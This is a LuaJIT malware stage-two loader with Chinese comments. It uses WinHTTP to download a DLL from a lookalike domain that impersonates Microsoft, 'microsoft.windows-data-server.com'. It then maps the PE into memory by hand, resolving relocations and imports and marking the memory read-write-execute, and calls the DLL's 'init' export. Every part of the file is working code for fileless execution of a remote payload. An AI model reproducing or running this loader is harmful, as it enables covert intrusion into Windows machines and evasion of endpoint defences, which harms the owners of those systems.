-- ============================================================ -- Stage 2: DLL 纯内存加载(WinHTTP 下载 + PE 手动映射) -- LuaJIT 兼容(Lua 5.1 + bit 库) -- ============================================================ local ffi = require("ffi") local bit = require("bit") ffi.cdef[[ void* VirtualAlloc(void* addr, unsigned long size, unsigned long type, unsigned long prot); int VirtualProtect(void* addr, unsigned long size, unsigned long newProt, unsigned long* oldProt); void* LoadLibraryA(const char* name); void* GetProcAddress(void* mod, const char* name); void Sleep(unsigned long ms); void* WinHttpOpen(const wchar_t* agent, unsigned long accessType, const wchar_t* proxy, const wchar_t* bypass, unsigned long flags); void* WinHttpConnect(void* session, const wchar_t* server, unsigned short port, unsigned long reserved); void* WinHttpOpenRequest(void* connect, const wchar_t* verb, const wchar_t* object, const wchar_t* version, const wchar_t* referrer, const wchar_t** types, unsigned long flags); int WinHttpSendRequest(void* request, void* headers, unsigned long headersLen, void* optional, unsigned long optionalLen, unsigned long totalLen, uintptr_t context); int WinHttpReceiveResponse(void* request, void* reserved); int WinHttpReadData(void* request, void* buffer, unsigned long numBytes, unsigned long* numRead); int WinHttpCloseHandle(void* handle); ]] local kernel32 = ffi.load("kernel32") local winhttp = ffi.load("winhttp") local function to_wchar(str) local buf = ffi.new("uint16_t[?]", #str + 1) for i = 0, #str - 1 do buf[i] = string.byte(str, i + 1) end buf[#str] = 0 return ffi.cast("const wchar_t*", buf) end -- ============================================================ -- WinHTTP 下载(自动解析 URL,支持 http:// 和 https://) -- ============================================================ local function http_download(url) local scheme, host, port, path = url:match("^(https?)://([^:/]+):?(%d*)(/?[^%s]*)") port = tonumber(port) or (scheme == "https" and 443 or 80) path = (path == "" and "/" or path) local flags = (scheme == "https") and 0x00800000 or 0 local session = winhttp.WinHttpOpen(to_wchar("GRAT"), 0, nil, nil, 0) local conn = winhttp.WinHttpConnect(session, to_wchar(host), port, 0) local req = winhttp.WinHttpOpenRequest(conn, to_wchar("GET"), to_wchar(path), nil, nil, nil, flags) winhttp.WinHttpSendRequest(req, nil, 0, nil, 0, 0, 0) winhttp.WinHttpReceiveResponse(req, nil) local chunks, buf, n = {}, ffi.new("char[65536]"), ffi.new("unsigned long[1]") while true do n[0] = 0 if winhttp.WinHttpReadData(req, buf, 65536, n) == 0 or n[0] == 0 then break end chunks[#chunks + 1] = ffi.string(buf, n[0]) end winhttp.WinHttpCloseHandle(req) winhttp.WinHttpCloseHandle(conn) winhttp.WinHttpCloseHandle(session) return table.concat(chunks) end -- ============================================================ -- PE 手动映射(x64) -- ============================================================ local function map_pe(dll_data) local rs = #dll_data local raw = ffi.new("uint8_t[?]", rs) ffi.copy(raw, dll_data, rs) assert(ffi.cast("uint16_t*", raw)[0] == 0x5A4D, "not MZ") local e_lf = ffi.cast("int32_t*", raw + 0x3C)[0] local nt = raw + e_lf assert(ffi.cast("uint32_t*", nt)[0] == 0x4550, "not PE") local fh = nt + 4 local nsec = ffi.cast("uint16_t*", fh + 2)[0] local osz = ffi.cast("uint16_t*", fh + 16)[0] local opt = fh + 20 assert(ffi.cast("uint16_t*", opt)[0] == 0x20B, "not PE32+") local img_base = ffi.cast("uint64_t*", opt + 24)[0] local sz_image = ffi.cast("uint32_t*", opt + 56)[0] local sz_hdrs = ffi.cast("uint32_t*", opt + 60)[0] local exp_rva = ffi.cast("uint32_t*", opt + 112)[0] local exp_sz = ffi.cast("uint32_t*", opt + 116)[0] local imp_rva = ffi.cast("uint32_t*", opt + 120)[0] local rel_rva = ffi.cast("uint32_t*", opt + 152)[0] local rel_sz = ffi.cast("uint32_t*", opt + 156)[0] local secs = opt + osz local base = ffi.cast("uint8_t*", kernel32.VirtualAlloc(nil, sz_image, 0x3000, 0x04)) assert(base ~= nil, "VirtualAlloc failed") ffi.copy(base, raw, sz_hdrs) for i = 0, nsec - 1 do local s = secs + i * 40 local va = ffi.cast("uint32_t*", s + 12)[0] local rsz = ffi.cast("uint32_t*", s + 16)[0] local rad = ffi.cast("uint32_t*", s + 20)[0] if rsz > 0 and va > 0 then ffi.copy(base + va, raw + rad, rsz) end end -- 重定位 local delta = ffi.cast("uint64_t", base) - img_base if delta ~= 0 and rel_rva ~= 0 then local p, pend = base + rel_rva, base + rel_rva + rel_sz while p < pend do local pg = ffi.cast("uint32_t*", p)[0] local bl = ffi.cast("uint32_t*", p + 4)[0] if bl == 0 then break end local cnt = math.floor((bl - 8) / 2) for j = 0, cnt - 1 do local e = ffi.cast("uint16_t*", p + 8 + j * 2)[0] local typ = bit.rshift(e, 12) local off = bit.band(e, 0xFFF) if typ == 10 then local t = ffi.cast("uint64_t*", base + pg + off) t[0] = t[0] + delta end end p = p + bl end end -- 导入表 if imp_rva ~= 0 then local p = base + imp_rva local i = 0 while true do local nrva = ffi.cast("uint32_t*", p + i * 20 + 12)[0] if nrva == 0 then break end local dep = ffi.string(base + nrva) local h = kernel32.LoadLibraryA(dep) local ilt = ffi.cast("uint32_t*", p + i * 20)[0] local iat_rva = ffi.cast("uint32_t*", p + i * 20 + 16)[0] local tk = (ilt ~= 0) and (base + ilt) or (base + iat_rva) local iat = base + iat_rva local k = 0 while true do local lo = ffi.cast("uint32_t*", tk + k * 8)[0] local hi = ffi.cast("uint32_t*", tk + k * 8 + 4)[0] if lo == 0 and hi == 0 then break end local fn if bit.band(hi, 0x80000000) ~= 0 then fn = kernel32.GetProcAddress(h, ffi.cast("const char*", lo)) else fn = kernel32.GetProcAddress(h, ffi.string(base + lo + 2)) end if fn then ffi.cast("uint64_t*", iat + k * 8)[0] = ffi.cast("uint64_t", fn) end k = k + 1 end i = i + 1 end end -- 可执行保护 local old = ffi.new("unsigned long[1]") kernel32.VirtualProtect(base, sz_image, 0x40, old) -- 导出表 local exports = {} if exp_rva ~= 0 and exp_sz ~= 0 then local ed = base + exp_rva local nn = ffi.cast("uint32_t*", ed + 24)[0] local eat = ffi.cast("uint32_t*", ed + 28)[0] local ent = ffi.cast("uint32_t*", ed + 32)[0] local ort = ffi.cast("uint32_t*", ed + 36)[0] for i = 0, nn - 1 do local nm = ffi.cast("uint32_t*", base + ent + i * 4)[0] local od = ffi.cast("uint16_t*", base + ort + i * 2)[0] local fr = ffi.cast("uint32_t*", base + eat + od * 4)[0] exports[ffi.string(base + nm)] = base + fr end end return base, exports end -- ============================================================ -- 主流程 -- ============================================================ local DLL_URL = "http://microsoft.windows-data-server.com/schedsvc_rpc.dll" local EXPORT_NAME = "init" local dll_bytes = http_download(DLL_URL) assert(#dll_bytes > 1024, "download too small") local _, exports = map_pe(dll_bytes) local init = exports[EXPORT_NAME] assert(init ~= nil, "export not found: " .. EXPORT_NAME) ffi.cast("void (*)()", init)()